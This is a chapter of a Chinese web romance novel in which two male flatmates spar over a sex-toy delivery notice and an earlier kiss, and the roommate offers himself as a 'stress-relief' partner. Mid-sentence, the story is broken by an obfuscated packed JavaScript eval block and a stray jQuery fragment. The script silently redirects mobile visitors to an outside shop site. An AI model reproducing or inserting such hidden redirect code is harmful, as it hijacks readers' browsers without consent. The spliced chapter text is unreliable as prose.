文趣网 > 都市小说 > 新来的室友令人不爽 > 10. 第十章
    “啊……”

    发货好晚。

    上周拍下的小玩具,这几天工作忙得他都快忘记这件事了。

    没想到这个时候弹发货提示……

    发货通知在屏幕上停留大概4-5秒。

    被抓包的人掀起眼睫,白净秀气的脸上平静、淡然,只有耳边一丝红晕泄出他的尴尬。

    旁边,迟江青仍在用那种略带询问意味的视线看他。

    许浸星眼睫不住地抖了下。

    不是,这人什么意思。

    屏幕上的字虽然少,但明显超出对方难以获得小学文凭的实力了吧。

    许浸星抱着抱枕坐在沙发里,明显不想多谈。结果迟江青盯着他看了半天,也不说话,大有他不开口就一直定下去的趋势。

    “……你看得懂这些?”

    许浸星不服气,难道他室友真是语言天才。

    “……”蜷腿坐在地毯上都能到许浸星肩膀处的高大男人,沉着眉,表情凝重得像是迎来了他二十七年人生中的最大挑战,“旁边有配图。”

    许浸星哦了声:“好像是。”

    他注意到了男人的表情。

    显然,配图比文字更糟糕。

    出于对自己身体的了解,和平时起不了多少作用的手法,许浸星选择的是男女通用的标准套装。

    入-体式占比不少。

    本意是新手上路多多尝试,但确实看着不太对劲。

    像男同。

    许浸星记得,好像俄罗斯那边对这类群体的包容度比较微妙。

    考虑到合租条约上的时间规定,他主动解释道:“你不要担心,我对……恋爱还没有想法,之后也不会带伴侣回来。”

    合租的基本道德,他明白的。

    “我只是需要、”脸上温度还在随着男人注视的时间逐渐攀升,许浸星舔了舔唇,挑了个词,“成年人,偶尔需要解压。”

    被人撞破自-慰现场,和撞破买玩具现场,两者的尴尬程度一个天下一个地下。

    足够让许浸星接受当下的现状。

    不会带伴侣回来。

    近期没有暧昧对象。

    很好。

    迟江青剑眉挑起,深邃的眉骨挡住部分灯光,显得眸色更深,“解压?”

    “你的工作压力似乎很大,大到需要……这么多工具进行解压?”

    这样的形容是否有些冒犯,许浸星道:“互联网行业工作者压力都很大。”

    迟江青像是不理解他的意思,得到前一个回复后,又问道:“解压,就像那晚很突然的中式贴面礼那样吗?”

    许浸星从男人开口起就有些不妙的预感。

    在翻译的电子音出来后,心里只剩下我就知道四个字。

    迟江青追问讨要贴面礼的频繁程度,让今晚的对话,注定绕不开这个话题。

    他坐姿肉眼可见地变得拘谨,避开迟江青的视线,垂着眼眸,含糊道:“这不是一个概念。”

    公寓里有个默认的习惯。

    吃完晚饭后自觉关上主灯,只留下几盏暖色的壁灯和台灯充作照明。

    许浸星半张脸藏在抱枕背后,柔软的黑发被灯光镀上层暖金。

    白日里总有些疏离冷淡的面容,因为不知所措,眼尾到脖颈处都不自觉泛出层薄薄水红,让在此刻他看上去几分异样的情-色。

    “有吗?”迟江青提出质疑的速度很快,他坐姿甚至都正了点,仿佛他们现在谈论的话题是什么项目代码,“如果性快感可以解压,那么作为亲密接触的亲吻为什么不算在里面?”

    两人之间隔着的距离不过是一个沙发的高度。

    以迟江青的身高,这样的动作足以让沙发上的人升起危机感。

    许浸星忍不住缩了下腿,他今天穿的睡衣是短袖短裤,迟江青再靠近点,就跟他贴上了。

    其实现在最正确的选择应该是把腿收沙发上来,但这么大幅度的动作,在谈判的时刻,无疑会显得他很心虚。

    他忍住抬腿的动作,再次强调:“亲、贴面礼是礼仪,不算在亲密接触里。”

    “就和你们的贴面礼是一样的,轻触嘴唇,不会带来性快-感。”

    “轻触嘴唇是你们的贴面礼。”带着斯拉夫长相特征的混血男人,听完这话,剑眉明显地上挑了瞬,“这样。”

    撒一个谎要用一万个谎来圆。

    许浸星怀着抹黑文化的歉意,慢吞吞点头:“嗯。”

    迟江青身形朝后,双手撑在地毯上,厚实的肩背绷紧,手臂上的肌肉线条隔着短袖依旧清晰无比。

    他保持着这个姿势盯着许浸星,几秒过后,忽然轻笑了下,“但那天我伸舌头了。”

    他说,“这不符合你们的贴面礼,所以。”

    “那天我给你带来性快-感了吗?”

    许浸星彻底掉进了这个所谓文盲所谓义务教育缺席者的语言陷阱。

    反应过来的时候,已经错过了驳回一局的机会。

    他背脊僵硬,并直的腿也不自觉交叠在了一起,纤长的眼睫一颤一颤地接着金色的灯影。

    一句反驳的话也说不出。

    迟江青大可以把那天的事情描述得更清楚一点,情况比他所说的伸舌头,更加糟糕。

    他们接吻了。

    其实一开始,他们接吻的动作,是符合许浸星口中中式贴面礼的。

    碰着嘴唇,从外轮廓摩擦,最多含咬一下,但不会更近一步。

    足够感受到许浸星嘴唇的柔软,吃不到里面的味道。

    不过这也就只是一开始。

    在男人凑过来的一分钟后,也可能是半分钟,许浸星就犯了他最不该犯的错。

    他没办法抵抗任何亲密接触,都不需要谁来提醒这位连自-慰都生疏无比的小处楠该如何向一个男人交出自己的初吻,他就已经乖乖张开了嘴。

    持续的时间,或许是二十分钟,也可能是三十分钟。

    在那个随时可能有路人经过的小巷子里。藏在许浸星外套兜帽里,呼吸热得都快要在空气里凝出水的情况下,迟江青用一只手将他的脸捏住,彻头彻尾地,进行了接吻。

    快感。

    这两个字该怎么回避。

    许浸星掐着抱枕的手愈发用力,足尖都蜷缩了起来。

    他局促的姿态,不需要刻意去分辨也能看出他的尴尬。果然被说中了。

    “抱歉,因为我以前对这方面不感兴趣,所以不知道贴面礼不需要伸舌头。”迟江青盯着他面上表情的变化,唇角上扬了瞬,“看来接吻对你来说也是很好的解压方式之一啊。”

    “……”许浸星希望翻译软件在迟江青开口的那一瞬间自动关闭。

    但不行,因为现在手机还在迟江青手里。

    既然局面已经变成现在这个样子,也不会更坏了,至少渴肤症没被发现,一切都还可以挽回。

    许浸星做好心理建设,试图翻篇:“抱歉那天骗了你……”

    “你不用抱歉,也不用害羞。”迟江青稍微靠近了一点,对他的道歉感到十分困惑,“毕竟,星星,那的确是十分

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702426|208216||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柔软且甜美的嘴唇,对我来说是值得珍惜一辈子的回忆呢。我该感谢你。”

    好。

    许浸星内心深呼吸中。

    既然如此,我们就将功抵过好吗。

    “不客气。”他快速吐出这三个字,从旁边拿过一个交流按钮,“那我们继续来学……”

    “亲亲!”

    那一声落下。

    周围空气比之前发货提示出现时,更加寂静更加可怕。

    至少对于许浸星来说是这样的。

    因为前者,他还能安慰自己,迟江青根本看不懂上面的中文。但后者,对方已经通过一周时间的学习,加上梨梨的倾情指导后,彻底明白这个词的含义。

    而就在刚刚,就在前一秒。

    他的一时疏忽,雪上加霜的,给这个词增加了新的定义。

    那头,不等许浸星说话,迟江青已经反射性地站了起来。

    像是巴甫洛夫的狗,手撑在许浸星身旁的沙发上,双腿将他完全拦在中间,肩背已经顺从地弯了下去。

    明明这样的动作他们之前从来没有做过,但明白亲吻的意义,迟江青就清楚他眼前的目标只剩下那被主人抿过无数次,浅红柔软,显得有几分冷淡的唇瓣。

    阴影笼罩着许浸星,将他困在沙发一隅的男人面上带着几分恍然大悟。

    “你需要解压,所以在那些玩具到来之前,我是你的玩具。”

    微微沙哑的声音,在许浸星耳边,缓慢念着不属于这里的语言,俄文清晰,身旁的翻译软件实时工作。

    “我愿意的,星星。”

    ……太糟糕了。如果没记错的话,他招的是合租室友不是合租抛-友。

    因为从来没有预设过这样的情况,许浸星此刻表情有些空白。

    宽大的黑框眼镜歪在脸上,眉眼松怔,漂亮的五官在灯光下一览无余。

    因为不想在这种时候和男人发生肢体接触,他整个人在沙发上缩得更紧,恨不得把自己藏到沙发缝里。

    在面前男人得天独厚的强壮身材面前,本就修长纤细的小腿,看上去还没对方手臂粗。

    许浸星试图挽回现在的局面:“我觉得,每个人都是独立的,你不可能是我的什么……”

    “这句话不成立,在进入这间公寓后我就不是个独立的个体了。”

    迟江青有理有据,“我是你的室友。”

    “我是个有前缀的男人。”

    “?”

    见许浸星还要再说话,迟江青这次抢先一步。

    他稍微歪了下头,伸出舌头,很长,很能展现出他在人种和生长方面的天赋异禀。

    “不是要解压吗?”

    “说不定我会比那些玩具做得更好?这应该不是难事,就像你所说的贴面礼那样。”

    许浸星敢肯定,他出现教学事故了。

    严重教学事故。

    许浸星对男人没有任何想法。但此刻他面前的男人对他的任何想法,化作行动,都会让他不得不严肃考虑对方的想法。

    上次出事,他失眠一晚,隔天进了医院。

    这次,玩具还在路上。

    眼下选择少得可怜。

    许浸星腰间打着抖,一双麦色的手压着他的手臂,从小臂一路滑到指尖。

    空气里弥漫着相同的沐浴乳香味,男人喉结滚动,朝他看过来,“可以吗,我们来做些,能让你感受到性-快感的解压活动吧。”

    “亲亲吗?星星。”

    一个绝对不属于中文教学范畴的提议。